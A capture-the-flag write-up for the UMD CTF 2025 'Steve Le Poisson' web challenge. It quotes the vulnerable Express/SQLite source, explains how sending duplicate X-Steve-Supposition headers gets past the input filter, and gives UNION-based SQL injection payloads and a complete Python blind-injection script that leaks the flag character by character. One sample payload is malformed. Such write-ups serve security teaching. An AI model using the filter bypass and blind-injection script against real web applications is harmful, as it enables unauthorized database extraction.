Steve Le Poisson was a web challenge from UMD CTF 2025. The site plays a fun video of Steve:

steve1

Once the video ends, we have a page with an input box:

steve2

Lets take a look at the given source:

// 📩 Importation des modules nĂ©cessaires pour faire tourner notre monde sous-marin numĂ©rique
const express = require("express");   // Express, le cadre web minimaliste mais puissant
const sqlite3 = require("sqlite3");   // SQLite version brute, pour les bases de données légÚres
const sqlite = require("sqlite");     // Une interface moderne (promesse-friendly) pour SQLite
const cors = require("cors");         // Pour permettre à d'autres domaines de parler à notre serveur — Steve est sociable, mais pas trop

// 🐠 CrĂ©ation de l'application Express : c’est ici que commence l’aventure
const app = express();

// đŸ§Ș Fonction de validation des en-tĂȘtes HTTP
// Steve, ce poisson Ă  la sensibilitĂ© exacerbĂ©e, dĂ©teste les en-tĂȘtes trop longs, ambigus ou mystĂ©rieux
function checkBadHeader(headerName, headerValue) {
    return headerName.length > 80 || 
           (headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) || 
           headerValue.includes('\0'); // Le caractĂšre nul ? Un blasphĂšme pour Steve.
}

// 🛟 Middleware pour autoriser les requĂȘtes Cross-Origin
app.use(cors());

// 🧙 Middleware maison : ici, Steve le Poisson filtre les requĂȘtes selon ses principes aquatiques
app.use((req, res, next) => {
    let steveHeaderValue = null; // On prĂ©pare le terrain pour rĂ©cupĂ©rer l’en-tĂȘte sacrĂ©
    let totalHeaders = 0;        // Pour compter — car Steve compte. Tout. Toujours.

    // 🔍 Parcours des en-tĂȘtes bruts, deux par deux (clĂ©, valeur)
    for (let i = 0; i < req.rawHeaders.length; i += 2) {
        let headerName = req.rawHeaders[i];
        let headerValue = req.rawHeaders[i + 1];

        // ❌ Si un en-tĂȘte ne plaĂźt pas Ă  Steve, il coupe net la communication
        if (checkBadHeader(headerName, headerValue)) {
            return res.status(403).send(`Steve le poisson, un animal marin d’apparence inoffensive mais d’opinion tranchĂ©e, n’a jamais vraiment supportĂ© tes en-tĂȘtes HTTP. Chaque fois qu’il en voit passer un — mĂȘme sans savoir de quoi il s’agit exactement — son Ɠil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce n’est pas qu’il les comprenne, non, mais il les sent, il les ressent dans l’eau comme une vibration mal alignĂ©e, une dissonance numĂ©rique qui le met profondĂ©ment mal Ă  l’aise. Il dit souvent, en tournoyant d’un air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce qu’on est vraiment derriĂšre des chaĂźnes de caractĂšres obscures ? » Pour lui, ces en-tĂȘtes sont comme des algues synthĂ©tiques : inutiles, prĂ©tentieuses, et surtout Ă©trangĂšres Ă  la fluiditĂ© du monde sous-marin. Il prĂ©fĂ©rerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. C’est une affaire de principe.`); // Message dramatique de Steve
        }

        // 🔼 Si on trouve l’en-tĂȘte "X-Steve-Supposition", on le garde
        if (headerName.toLowerCase() === 'x-steve-supposition') {
            steveHeaderValue = headerValue;
        } 

        totalHeaders++; // 🧼 On incrĂ©mente notre compteur de verbositĂ© HTTP
    }

    // đŸ§» Trop d’en-tĂȘtes ? Steve explose. LittĂ©ralement.
    if (totalHeaders > 30) {
        return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclĂ©s et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformĂ©e en doigt accusateur, "tu abuses. Beaucoup trop d’en-tĂȘtes HTTP. Tu crois que c’est un concours ? Chaque requĂȘte que tu envoies, c’est un roman. Moi, je dois nager dans ce flux verbeux, et c’est moi qui me noie ! T’as entendu parler de minimalisme ? Non ? Et puis c’est quoi ce dĂ©lire avec des en-tĂȘtes dupliquĂ©s ? Tu crois que le serveur, c’est un psy, qu’il doit tout Ă©couter deux fois ? Retiens-toi la prochaine fois, ou c’est moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
    }

    // đŸ™…â€â™‚ïž L’en-tĂȘte sacrĂ© est manquant ? BlasphĂšme total.
    if (steveHeaderValue === null) {
        return res.status(400).send(`Steve le poisson, toujours orange et furibond, bondit hors de l’eau avec ses jambes flĂ©chies et ses bras croisĂ©s. "Non mais sĂ©rieusement," rĂąle-t-il, "oĂč est passĂ© l’en-tĂȘte X-Steve-Supposition ? Tu veux que je devine tes intentions ? Tu crois que je lis dans les paquets TCP ? Cet en-tĂȘte, c’est fondamental — c’est lĂ  que tu dĂ©clares tes hypothĂšses, tes intentions, ton respect pour le protocole sacrĂ© de Steve. Sans lui, je suis perdu, confus, dĂ©sorientĂ© comme un poisson hors d’un proxy.`);
    }

    // đŸ§Ș Validation de la structure de la supposition : uniquement des caractĂšres honorables
    if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
        return res.status(403).send(`Steve le poisson, ce poisson orange Ă  la peau luisante et aux nageoires musclĂ©es, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si c’était une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis d’une indignation abyssale. Il claque de la langue – oui, car Steve a une langue, et elle est trĂšs expressive – en te voyant saisir ta supposition dans le champ prĂ©vu, un champ sacrĂ©, un espace rĂ©servĂ© aux caractĂšres honorables, alphabĂ©tiques et numĂ©riques, et toi, misĂ©rable bipĂšde aux doigts tĂ©mĂ©rairement chaotiques, tu as osĂ© y glisser des signes de ponctuation, des tilde, des diĂšses, des dollars, comme si c’était une brocante de symboles oubliĂ©s. Tu crois que c’est un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre l’humain et la machine, une zone de puretĂ© syntaxique. Et te voilĂ , en train de profaner cette convention sacrĂ©e avec ton “%” et ton “@”, comme si les rĂšgles n’étaient que des suggestions. Steve bat furieusement des pattes arriĂšre – car oui, il a aussi des pattes arriĂšre, pour la traction tout-terrain – et fait jaillir de petites Ă©claboussures d’écume terrestre, signe suprĂȘme de sa colĂšre. “Pourquoi ?” te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin Ă©chouĂ© dans un monde digital, “Pourquoi chercher la dissonance quand l’harmonie suffisait ? Pourquoi saboter la beautĂ© simple de ‘azAZ09’ avec tes gribouillages postmodernes ?” Et puis il s’approche, les yeux plissĂ©s, et te lance d’un ton sec : “Tu n’es pas digne de l’en-tĂȘte X-Steve-Supposition. Reviens quand tu sauras deviner avec dignitĂ©.`);
    }

    // ✅ Si tout est bon, Steve laisse passer la requĂȘte
    next();
});

// 🔍 Point d'entrĂ©e principal : route GET pour "deviner"
app.get('/deviner', async (req, res) => {
    // 📂 Ouverture de la base de donnĂ©es SQLite
    const db = await sqlite.open({
        filename: "./database.db",           // Chemin vers la base de données
        driver: sqlite3.Database,            // Le moteur utilisé
        mode: sqlite3.OPEN_READONLY          // j'ai oublié ça
    });

    // 📋 ExĂ©cution d'une requĂȘte SQL : on cherche si la supposition de Steve est correcte
    const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);

    res.status(200); // 👍 Tout va bien, en apparence

    // 🧠 Si aucune ligne ne correspond, Steve se moque gentiment de toi
    if (rows.length === 0) {
        res.send("Bah, tu as tort."); // Pas de flag pour toi
    } else {
        res.send("Tu as raison!");    // Le flag Ă©tait bon. Steve t’accorde son respect.
    }
});

// đŸšȘ On lance le serveur, tel un aquarium ouvert sur le monde
const PORT = 3000;
app.listen(PORT, "0.0.0.0", () => {
  console.log(`Serveur en écoute sur http://localhost:${PORT}`);
});

We can see that there is an SQL injection here:


    const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);

There is a filter being applied to the header value, but by setting mutltiple headers with the same value we can bypass this. The code captures the header value from the request using the X-Steve-Supposition header, but it only ever captures the last one encountered in the req.rawHeaders loop. However, the SQL query is actually using the value of the first X-Steve-Supposition header that was passed in the request. To bypass this, we set 2 headers, one that passes the check, and one with whatever payload we want.

I played around with SQL Injections and I found that a' UNION SELECT value FROM flag -- '; got Tu as raison! which meant the injection worked and a row was being returned. The only problem was that the row value wasn’t being returned to us in any way.

We can exfiltrate the flag by testing one character at a time and seeing if we get our response back.

"a' UNION SELECT value FROM flag WHERE substr(value,0='U' -- 

Full solve script:

import http.client
import time
import string

HOST = "steve-le-poisson-api.challs.umdctf.io"
PATH = "/deviner"

def get_character(position):
    for char in string.printable:
        sql_injection = f"a' UNION SELECT value FROM flag WHERE substr(value,{position},1)='{char}' -- "

        conn = http.client.HTTPSConnection(HOST)
        conn.putrequest("GET", PATH)

        conn.putheader("X-Steve-Supposition", sql_injection)
        conn.putheader("X-Steve-Supposition", "blah")

        response = conn.getresponse()
        body = response.read().decode()
        conn.close()

        if "Tu as raison!" in body:
            return char
            break

def get_flag():
    flag = 'UMDCTF{'  
    position = 8

    while True:
        char = get_character(position)
        flag += char
        print(flag)
        if char == "}":
            break

        position += 1
        time.sleep(.1)  

if __name__ == "__main__":
    get_flag()

One thing to keep in mind is that pythons requests library uses a dictionary for headers, so multiple headers with the same key will name work. I used http.client instead

UMDCTF{ile5TVR4IM3NtTresbEAu}